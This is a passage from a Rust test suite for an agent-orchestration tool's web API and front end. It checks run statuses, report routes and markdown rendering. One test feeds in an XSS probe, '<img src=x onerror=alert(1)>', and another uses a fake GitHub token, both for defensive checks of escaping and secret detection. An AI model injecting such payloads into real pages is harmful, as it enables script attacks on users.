18771 let mut state = RunState::new(
18772 PathBuf::from("/repo/magi"),
18773 "main".to_owned(),
18774 "abc".to_owned(),
18775 "Badge".to_owned(),
18776 Config::default(),
18777 );
18778 for (status, waiting, live, superseded, expected) in [
18779 (RunStatus::Gating, false, Dead, false, "stale"),
18780 (RunStatus::Gating, false, Dead, true, "superseded"),
18781 (RunStatus::Gating, false, Unknown, true, "superseded"),
18782 (RunStatus::Gating, true, Dead, true, "superseded"),
18783 (RunStatus::Gating, true, Dead, false, "waiting"),
18784 (RunStatus::Gating, false, Unknown, false, "gating"),
18785 (RunStatus::Gating, false, Live, true, "gating"),
18786 (RunStatus::Gating, true, Live, true, "waiting"),
18787 (RunStatus::Merged, false, Dead, true, "merged"),
18788 (RunStatus::Blocked, false, Dead, true, "blocked"),
18789 ] {
18790 state.status = status;
18791 let display = run_display_status(&state, waiting, live);
18792 assert_eq!(
18793 run_badge_status(&state, &display, live, superseded),
18794 expected,
18795 "{status:?}/{live:?}/superseded={superseded}"
18796 );
18797 }
18798 }
18799
18800 #[test]
18801 fn summarize_and_detail_expose_badge_status() {
18802 use crate::run::Liveness::Dead;
18803 let mut state = RunState::new(
18804 PathBuf::from("/repo/magi"),
18805 "main".to_owned(),
18806 "abc".to_owned(),
18807 "Badge".to_owned(),
18808 Config::default(),
18809 );
18810 state.status = RunStatus::Gating;
18811 let none = HashSet::new();
18812 let id = state.id.clone();
18813 let mut by = HashMap::new();
18814 let rows = summarize(
18815 [state.clone()],
18816 &none,
18817 &none,
18818 &by,
18819 |_| Some(false),
18820 |_| None,
18821 );
18822 assert_eq!(rows[0].badge_status, rows[0].display_status);
18824 by.insert(id, "20260901-000000-913b".to_owned());
18825 let detail = RunDetailView::of(
18826 state.clone(),
18827 false,
18828 Dead,
18829 Some("913b".to_owned()),
18830 None,
18831 None,
18832 );
18833 assert_eq!(detail.badge_status, "superseded");
18834 let json = serde_json::to_value(&detail).unwrap();
18835 assert_eq!(json["badge_status"], "superseded");
18836 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18837 assert_eq!(detail.badge_status, "stale");
18838 }
18839
18840 #[tokio::test]
18841 async fn run_display_status_routes_share_the_open_question_store() {
18842 let f = Fixture::start().await;
18843 let id = "20260922-090200-abcd";
18844 write_run(&f.runs(), id, RunStatus::Judging);
18845 let mut state = read_run(&f.runs(), id).unwrap();
18846 state.parked = true;
18847 state.driver_exited = true;
18848 state.event("github-text", "waiting for the owner");
18849 state.save_under(f.home.path()).unwrap();
18850 let mut task = Task::new(
18851 "resumed task".to_owned(),
18852 "do it".to_owned(),
18853 PathBuf::from("/repo"),
18854 Source::Human,
18855 );
18856 task.runs = vec![id.to_owned(), id.to_owned()];
18857 f.queue().put(&mut task).unwrap();
18858 let store = f.questions();
18859 let mut q = Question::new(
18860 id.to_owned(),
18861 "github-text".to_owned(),
18862 "owner".to_owned(),
18863 "Approve the text?".to_owned(),
18864 String::new(),
18865 Vec::new(),
18866 );
18867 store.put(&mut q).unwrap();
18868 for expected in ["waiting", "parked"] {
18869 let list = f.get("/api/runs").await.json();
18870 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18871 assert_eq!(list[0]["display_status"], expected);
18872 assert_eq!(detail["display_status"], expected);
18873 assert_eq!(detail["waiting"], list[0]["waiting"]);
18874 assert_eq!(list[0]["badge_status"], expected);
18875 assert_eq!(detail["badge_status"], expected);
18876 assert!(list[0]["superseded_by"].is_null());
18877 assert!(detail["superseded_by"].is_null());
18878 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18879 let history = task_detail["history"].as_array().unwrap();
18880 assert_eq!(history.len(), 2);
18881 assert!(history[0]["badge"].is_null());
18882 assert_eq!(history[1]["badge"], expected);
18883 q.status = ask::QuestionStatus::Answered;
18884 store.put(&mut q).unwrap();
18885 }
18886 }
18887
18888 #[tokio::test]
18889 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18890 let f = Fixture::start().await;
18891 let id = "20260922-090200-abcd";
18892 write_run(&f.runs(), id, RunStatus::Judging);
18893 let mut state = read_run(&f.runs(), id).unwrap();
18894 state.parked = true;
18895 state.driver_exited = true;
18896 state.event("park", "stopped at a node boundary");
18897 state.save_under(f.home.path()).unwrap();
18898
18899 for expected in ["parked", "stale"] {
18900 let list = f.get("/api/runs").await.json();
18901 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18902 assert_eq!(list[0]["live"], "dead");
18903 assert_eq!(list[0]["display_status"], expected);
18904 assert_eq!(detail["display_status"], expected);
18905 state.parked = false;
18908 state.save_under(f.home.path()).unwrap();
18909 }
18910 }
18911
18912 #[tokio::test]
18913 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18914 let f = Fixture::start().await;
18915 for id in [
18916 "20260902-140501-aaaa",
18917 "20260902-140502-bbbb",
18918 "20260902-140503-cccc",
18919 ] {
18920 write_run(&f.runs(), id, RunStatus::Merged);
18921 }
18922
18923 let all = f.get("/api/runs").await.json();
18924 let capped = f.get("/api/runs?limit=2").await.json();
18925
18926 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18927 assert_eq!(all.as_array().map(Vec::len), Some(3));
18928 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18929 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18930 }
18931
18932 #[tokio::test]
18933 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18934 let f = Fixture::start().await;
18935 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18936
18937 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18938
18939 assert_eq!(res.status, 200);
18940 assert!(
18941 res.headers
18942 .contains("content-type: text/plain; charset=utf-8"),
18943 "a browser must render it, not download it: {}",
18944 res.headers
18945 );
18946 assert!(
18950 res.body.contains("20260902-140501-a1b2"),
18951 "the report is about the run that was asked for: {}",
18952 res.body
18953 );
18954 }
18955
18956 #[tokio::test]
18957 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18958 crate::run::pin_test_home();
18960 let f = Fixture::start().await;
18961 let id = "20260902-140501-a1b2";
18962 write_run(&f.runs(), id, RunStatus::Stalled);
18963 let path = f.runs().join(id).join("run.json");
18966 let mut v: serde_json::Value =
18967 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18968 v["tally"] = serde_json::json!({
18969 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18970 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18971 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18972 "met_quorum": false, "rankings": 1
18973 });
18974 v["reviews"] = serde_json::json!([{
18975 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18976 "e2e_deferred": true,
18977 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18978 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18979 ]}]
18980 }]);
18981 std::fs::write(&path, v.to_string()).unwrap();
18982 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18983 std::fs::write(
18984 f.runs().join("20260902-140502-dead").join("run.json"),
18985 "{not json",
18986 )
18987 .unwrap();
18988
18989 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18990
18991 assert_eq!(res.status, 200, "{}", res.body);
18992 assert!(res.headers.contains("content-type: application/json"));
18993 let j = res.json();
18994 assert_eq!(j["schema"], 1);
18995 assert_eq!(j["header"]["id"], id);
18996 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18997 let kinds: Vec<&str> = j["sections"]
18998 .as_array()
18999 .unwrap()
19000 .iter()
19001 .map(|s| s["kind"].as_str().unwrap())
19002 .collect();
19003 assert_eq!(kinds, ["candidates", "tally", "review"]);
19004 let tally = &j["sections"][1]["tally"];
19005 assert_eq!(
19006 (tally["decided"].clone(), tally["provisional"].clone()),
19007 (false.into(), true.into())
19008 );
19009 let round = &j["sections"][2]["rounds"][0];
19010 assert_eq!(round["e2e"]["state"], "deferred");
19011 assert_eq!(round["findings"][0]["severity"], "major");
19012 assert_eq!(round["findings"][0]["blocking"], true);
19013 assert_eq!(round["findings"][0]["state"], "open");
19014
19015 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19017
19018 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19020 assert_ne!(bad.status, 200, "{}", bad.body);
19021 assert_eq!(
19022 bad.status,
19023 f.get("/api/runs/20260902-140502-dead/report").await.status
19024 );
19025 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19026 assert_eq!(
19027 f.get("/api/runs/20260902-999999-ffff/report.json")
19028 .await
19029 .status,
19030 404
19031 );
19032 }
19033
19034 #[tokio::test]
19035 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19036 crate::run::pin_test_home();
19037 let f = Fixture::start().await;
19038 let id = "20260902-140503-delib";
19039 write_run(&f.runs(), id, RunStatus::Merged);
19040 let path = f.runs().join(id).join("run.json");
19041 let mut v: serde_json::Value =
19042 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19043 v["judgements"] = serde_json::json!([
19044 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19045 ]);
19046 v["tally"] = serde_json::json!({
19047 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19048 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19049 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19050 "met_quorum": true, "rankings": 1
19051 });
19052 v["deliberation"] = serde_json::json!([
19053 {
19054 "round": 1,
19055 "turns": [
19056 {
19057 "judge": 1,
19058 "agent": "judge-1",
19059 "body": "I prefer candidate **A** because it has cleaner tests.",
19060 "tentative": "A"
19061 }
19062 ]
19063 },
19064 {
19065 "round": 2,
19066 "turns": [
19067 {
19068 "judge": 1,
19069 "agent": "judge-1",
19070 "body": "Still thinking, no choice yet.",
19071 "tentative": null
19072 }
19073 ]
19074 }
19075 ]);
19076 std::fs::write(&path, v.to_string()).unwrap();
19077
19078 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19079 assert_eq!(res.status, 200, "{}", res.body);
19080 let j = res.json();
19081 let judging = j["sections"]
19082 .as_array()
19083 .unwrap()
19084 .iter()
19085 .find(|s| s["kind"] == "judging")
19086 .expect("judging section exists");
19087
19088 let delib_lines = judging["deliberation"].as_array().unwrap();
19090 assert_eq!(delib_lines.len(), 2);
19091 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19092 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19093
19094 let rounds = judging["rounds"].as_array().unwrap();
19096 assert_eq!(rounds.len(), 2);
19097 let r1_t0 = &rounds[0]["turns"][0];
19098 assert_eq!(r1_t0["judge"], 1);
19099 assert_eq!(r1_t0["agent"], "judge-1");
19100 assert_eq!(r1_t0["tentative"], "A");
19101 assert_eq!(
19102 r1_t0["body"],
19103 "I prefer candidate **A** because it has cleaner tests."
19104 );
19105 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19106
19107 let r2_t0 = &rounds[1]["turns"][0];
19108 assert_eq!(r2_t0["judge"], 1);
19109 assert_eq!(r2_t0["agent"], "judge-1");
19110 assert!(r2_t0["tentative"].is_null());
19111 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19112 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19113
19114 let id_empty = "20260902-140504-nodelib";
19116 write_run(&f.runs(), id_empty, RunStatus::Merged);
19117 let path_empty = f.runs().join(id_empty).join("run.json");
19118 let mut v_empty: serde_json::Value =
19119 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19120 v_empty["judgements"] = serde_json::json!([
19121 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19122 ]);
19123 v_empty["deliberation"] = serde_json::json!([]);
19124 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19125
19126 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19127 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19128 let j_empty = res_empty.json();
19129 let judging_empty = j_empty["sections"]
19130 .as_array()
19131 .unwrap()
19132 .iter()
19133 .find(|s| s["kind"] == "judging")
19134 .expect("judging section exists");
19135 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19136 }
19137
19138 #[tokio::test]
19139 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19140 let f = Fixture::start().await;
19141
19142 let html = f.get("/").await;
19143 let css = f.get("/app.css").await;
19144 let js = f.get("/app.js").await;
19145
19146 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19147 assert!(
19148 html.headers
19149 .contains("content-type: text/html; charset=utf-8")
19150 );
19151 assert!(css.headers.contains("content-type: text/css"));
19152 assert!(js.headers.contains("content-type: text/javascript"));
19153 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19154 }
19155
19156 #[test]
19157 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19158 let body = |name: &str| {
19159 let at = APP_JS
19160 .find(name)
19161 .unwrap_or_else(|| panic!("{name} missing"));
19162 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19163 };
19164 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19165 let note = body("function landRoundNote");
19166 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19167 assert!(note.contains("Land round ${round}"));
19168 let land = body("function renderLand");
19169 let note_at = land
19170 .find("landRoundNote(pr)")
19171 .expect("renderLand uses the note");
19172 assert!(
19173 note_at
19174 < land
19175 .find("roundRail(pr)")
19176 .expect("renderLand uses the rail")
19177 );
19178 }
19179
19180 #[test]
19181 fn the_runs_page_redesign_keeps_its_guards() {
19182 let body = |name: &str| {
19183 let at = APP_JS
19184 .find(name)
19185 .unwrap_or_else(|| panic!("{name} missing"));
19186 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19187 };
19188 let land = body("function renderLand");
19190 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19191 assert!(
19192 !land.contains("box.append("),
19193 "renderLand must use append()"
19194 );
19195 assert!(land.contains("append(box, ["));
19196 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19198 assert!(
19199 body("function applyRoute")
19200 .contains("route.name !== state.route.name || route.id !== state.route.id")
19201 );
19202 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19204 assert!(!INDEX_HTML.contains("advise-converge"));
19205 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19206 assert!(APP_JS.contains("provisional"));
19207 for id in [
19208 "run-tab-overview",
19209 "run-tab-timeline",
19210 "run-tab-report",
19211 "run-report",
19212 "runs-scope",
19213 ] {
19214 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19215 }
19216 assert!(!INDEX_HTML.contains("runs-tree"));
19217 assert!(!INDEX_HTML.contains("run-raw-panel"));
19218 assert!(APP_JS.contains("resume"));
19220 assert!(APP_JS.contains("unreadable"));
19222 }
19223
19224 #[test]
19225 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19226 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19227 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19228 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19229 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19230 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19231 assert!(APP_JS.contains("unreadable` : null"));
19233 }
19234
19235 #[test]
19236 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19237 let mut state = RunState::new(
19238 "/repo".into(),
19239 "main".into(),
19240 "abc".into(),
19241 "task".into(),
19242 crate::config::Config::default(),
19243 );
19244 state.status = RunStatus::Blocked;
19245 state.gate_ran = true;
19246 state.gate.push(crate::run::CommandOutcome {
19247 command: "cargo make check".into(),
19248 code: Some(1),
19249 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19250 duration_ms: 0,
19251 resource_blocked: false,
19252 });
19253 let view = RunDetailView::of(
19254 state,
19255 false,
19256 crate::run::Liveness::Unknown,
19257 None,
19258 None,
19259 None,
19260 );
19261 let value = serde_json::to_value(view).unwrap();
19262 assert_eq!(
19263 value["stop_reason"],
19264 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19265 );
19266 }
19267
19268 #[test]
19269 fn the_run_detail_payload_says_whether_the_run_is_done() {
19270 for (status, done) in [
19272 (RunStatus::Superseded, true),
19273 (RunStatus::Blocked, true),
19274 (RunStatus::Landing, false),
19275 ] {
19276 let mut state = RunState::new(
19277 std::path::PathBuf::from("/repo"),
19278 "main".to_owned(),
19279 "abc".to_owned(),
19280 "x".to_owned(),
19281 crate::config::Config::default(),
19282 );
19283 state.status = status;
19284 let v = serde_json::to_value(RunDetailView::of(
19285 state,
19286 false,
19287 crate::run::Liveness::Unknown,
19288 None,
19289 None,
19290 None,
19291 ))
19292 .unwrap();
19293 assert_eq!(v["done"], done, "{status:?}");
19294 }
19295 }
19296
19297 fn has_strong(nodes: &[md::Node]) -> bool {
19299 serde_json::to_string(nodes).unwrap().contains("strong")
19300 }
19301
19302 #[test]
19303 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19304 let mut state = RunState::new(
19305 std::path::PathBuf::from("/repo"),
19306 "main".to_owned(),
19307 "abc".to_owned(),
19308 "x".to_owned(),
19309 crate::config::Config::default(),
19310 );
19311 let proposal = |approach: &str| {
19312 serde_json::json!({
19313 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19314 })
19315 };
19316 state.advice = Some(
19317 serde_json::from_value(serde_json::json!({
19318 "records": [
19319 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19320 "proposal": proposal("do **this**")},
19321 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19322 ],
19323 "synthesis": "- one\n- **two**\n\n`code`",
19324 }))
19325 .unwrap(),
19326 );
19327 state.candidates = serde_json::from_value(serde_json::json!([
19328 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19329 "summary": "did **it**"},
19330 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19331 ]))
19332 .unwrap();
19333 state.reviews = serde_json::from_value(serde_json::json!([{
19336 "round": 1, "head": "h",
19337 "reviews": [{
19338 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19339 "findings": [
19340 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19341 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19342 ],
19343 }],
19344 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19345 "fix": {"agent": "a", "notes": "fixed **it**",
19346 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19347 }, {"round": 2, "head": "h2", "reviews": []}]))
19348 .unwrap();
19349
19350 let v = serde_json::to_value(RunDetailView::of(
19351 state,
19352 false,
19353 crate::run::Liveness::Unknown,
19354 None,
19355 None,
19356 None,
19357 ))
19358 .unwrap();
19359
19360 let strong = |p: &str| {
19361 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19362 assert!(n.to_string().contains("strong"), "{p}: {n}");
19363 };
19364 strong("/advice_md/synthesis");
19365 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19366 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19367 strong("/advice_md/approaches/0");
19368 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19369 strong("/candidate_summaries_md/0");
19370 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19371 strong("/reviews_md/0/reviewers/0/summary");
19372 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19373 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19374 assert!(f[1].to_string().contains("strong"));
19375 strong("/reviews_md/0/reconsideration/0");
19376 strong("/reviews_md/0/fix/notes");
19377 strong("/reviews_md/0/fix/rejected/0");
19378 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19379 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19380 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19382 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19383 }
19384
19385 #[test]
19386 fn a_run_without_advice_has_no_advice_md() {
19387 let state = RunState::new(
19388 std::path::PathBuf::from("/repo"),
19389 "main".to_owned(),
19390 "abc".to_owned(),
19391 "x".to_owned(),
19392 crate::config::Config::default(),
19393 );
19394 let p = run_prose_md(&state);
19395 assert!(p.advice_md.is_none());
19396 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19397 }
19398
19399 #[test]
19400 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19401 let store = ask::Questions::at(PathBuf::from("unused"));
19402 let gt = crate::github_text::Withheld {
19403 title: false,
19404 body: true,
19405 categories: vec!["sensitive-data".into()],
19406 };
19407 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19408 let (detail, comparison) =
19409 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19410 let mut q = Question::new(
19411 "r".into(),
19412 "github-text".into(),
19413 "posting-gate".into(),
19414 "s".into(),
19415 detail,
19416 Vec::new(),
19417 );
19418 assert!(
19419 QuestionView::of(q.clone(), &store, None)
19420 .posting_view
19421 .is_none()
19422 );
19423 q.posting_comparison = Some(comparison);
19424 let view = QuestionView::of(q.clone(), &store, None);
19425 let field = &view.posting_view.unwrap().fields[0];
19426 assert_eq!(
19427 field
19428 .original
19429 .iter()
19430 .map(|f| f.text.as_str())
19431 .collect::<String>(),
19432 body
19433 );
19434 assert!(field.original[0].text.starts_with("<img"));
19435 let original_question: Question =
19436 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19437 assert_eq!(original_question, q);
19438 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19439 .original
19440 .start = 1;
19441 assert!(
19442 QuestionView::of(q.clone(), &store, None)
19443 .posting_view
19444 .is_none()
19445 );
19446 q.posting_comparison = original_question.posting_comparison;
19447 q.detail.push_str("extra context");
19448 assert!(
19449 QuestionView::of(q.clone(), &store, None)
19450 .posting_view
19451 .is_some()
19452 );
19453 q.detail.insert(0, 'x');
19454 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19455 }
19456
19457 #[test]
19458 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19459 let store = ask::Questions::at(PathBuf::from("unused"));
19460 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19461 let gt = crate::github_text::Withheld::from_check(
19462 &crate::github_text::check("fix: x", body),
19463 "fix: x",
19464 body,
19465 )
19466 .unwrap();
19467 let (detail, comparison) =
19468 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19469 let mut q = Question::new(
19470 "r".into(),
19471 "github-text".into(),
19472 "posting-gate".into(),
19473 "s".into(),
19474 detail,
19475 Vec::new(),
19476 );
19477 q.posting_comparison = Some(comparison);
19478 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19479 let field = &value["posting_view"]["fields"][0];
19480 let group = &field["replacement_group"];
19481 let triggers = group["triggers"].as_array().unwrap();
19482 assert_eq!(triggers.len(), 2);
19483 assert_ne!(triggers[0], triggers[1]);
19484 for id in triggers {
19485 assert!(
19486 field["original"]
19487 .as_array()
19488 .unwrap()
19489 .iter()
19490 .any(|f| &f["pair"] == id)
19491 );
19492 assert!(
19493 !field["changed"]
19494 .as_array()
19495 .unwrap()
19496 .iter()
19497 .any(|f| &f["pair"] == id)
19498 );
19499 }
19500 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19501 group["id"].as_u64().unwrap() as usize;
19502 assert!(
19503 QuestionView::of(q, &store, None).posting_view.is_none(),
19504 "group and trigger IDs cannot collide"
19505 );
19506 }
19507
19508 #[test]
19509 fn a_question_view_carries_markdown_for_each_thread_turn() {
19510 let home = TempDir::new().unwrap();
19511 let store = ask::Questions::at(home.path().join("questions"));
19512 let mut q = Question::new(
19513 "run".to_owned(),
19514 "implement".to_owned(),
19515 "impl-A".to_owned(),
19516 "which?".to_owned(),
19517 String::new(),
19518 Vec::new(),
19519 );
19520 q.say("plain words").unwrap();
19521 q.reply("use **this**", Vec::new()).unwrap();
19522 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19523 let bodies = &v["thread_bodies_md"];
19524 assert_eq!(bodies.as_array().unwrap().len(), 2);
19525 assert!(!bodies[0].to_string().contains("strong"));
19526 assert!(bodies[1].to_string().contains("strong"));
19527 }
19528
19529 #[test]
19530 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19531 let home = TempDir::new().unwrap();
19532 let store = ask::Questions::at(home.path().join("questions"));
19533 let mut q = Question::new(
19534 "run".to_owned(),
19535 "conduct".to_owned(),
19536 "conduct".to_owned(),
19537 "which?".to_owned(),
19538 String::new(),
19539 Vec::new(),
19540 );
19541 q.say("plain words").unwrap();
19542 q.thread.push(ask::Turn {
19543 who: ask::Who::Agent,
19544 body: "Settled as `merge`".to_owned(),
19545 at: jiff::Timestamp::now(),
19546 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19547 });
19548 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19549 let notes = &v["thread_notes_md"];
19550 assert_eq!(notes.as_array().unwrap().len(), 2);
19551 assert!(notes[0].is_null());
19552 let text = notes[1].to_string();
19553 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19554 assert!(APP_JS.contains("ask-turn-note"));
19555 }
19556
19557 #[test]
19558 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19559 assert!(APP_JS.contains("function landView(run, raw) {"));
19563 assert!(
19564 APP_JS.contains(
19565 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19566 )
19567 );
19568 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19569 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19570 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19571 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19572 }
19573
19574 #[test]
19575 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19576 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19577 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19578 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19579 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19580 }
19581
19582 #[test]
19583 fn review_rounds_label_a_distinct_verified_head() {
19584 assert!(APP_JS.contains("round.verified_head"));
19585 assert!(APP_JS.contains("verified HEAD"));
19586 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19587 }
19588
19589 #[test]
19590 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19591 assert!(APP_JS.contains("blocked: { glyph:"));
19595 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19596
19597 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19601 assert!(
19602 APP_JS.contains(
19603 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19604 ),
19605 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19606 );
19607 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19611
19612 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19616 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19617 assert!(
19618 APP_JS.contains("location.hash = \"#/questions\";"),
19619 "a question node must jump to the Questions screen, not pretend to be a task"
19620 );
19621
19622 assert!(APP_JS.contains("Resolved questions"));
19625 assert!(APP_JS.contains("r.answersList.append("));
19626 assert!(APP_CSS.contains(".task-answers"));
19627 {
19628 let start = APP_JS
19629 .find("function updateTalkTaskRow")
19630 .expect("updateTalkTaskRow");
19631 let body = &APP_JS[start..];
19632 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19633 assert!(
19634 body.contains(
19635 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19636 ),
19637 "a chat-filed task row must link to the task page"
19638 );
19639 assert!(
19640 !body.contains("#/runs/") && !body.contains("#/queue/"),
19641 "the row must not branch to a run or the queue card"
19642 );
19643 assert!(APP_CSS.contains(".talk-task-link"));
19644 }
19645 }
19646
19647 #[test]
19648 fn a_task_notification_links_to_the_task_page() {
19649 let start = APP_JS
19651 .find("function noticeLink(")
19652 .expect("noticeLink exists");
19653 let body = &APP_JS[start..];
19654 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19655 assert!(
19656 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19657 "a task notice's link must target the task page"
19658 );
19659 assert!(
19660 !body.contains("#/queue/"),
19661 "regression: the task link must not go back to the Backlog route"
19662 );
19663 assert!(
19664 APP_JS.contains(
19665 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19666 ),
19667 "`#/tasks/<id>` must parse into the task route"
19668 );
19669
19670 assert!(
19672 APP_JS.contains(
19673 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19674 ),
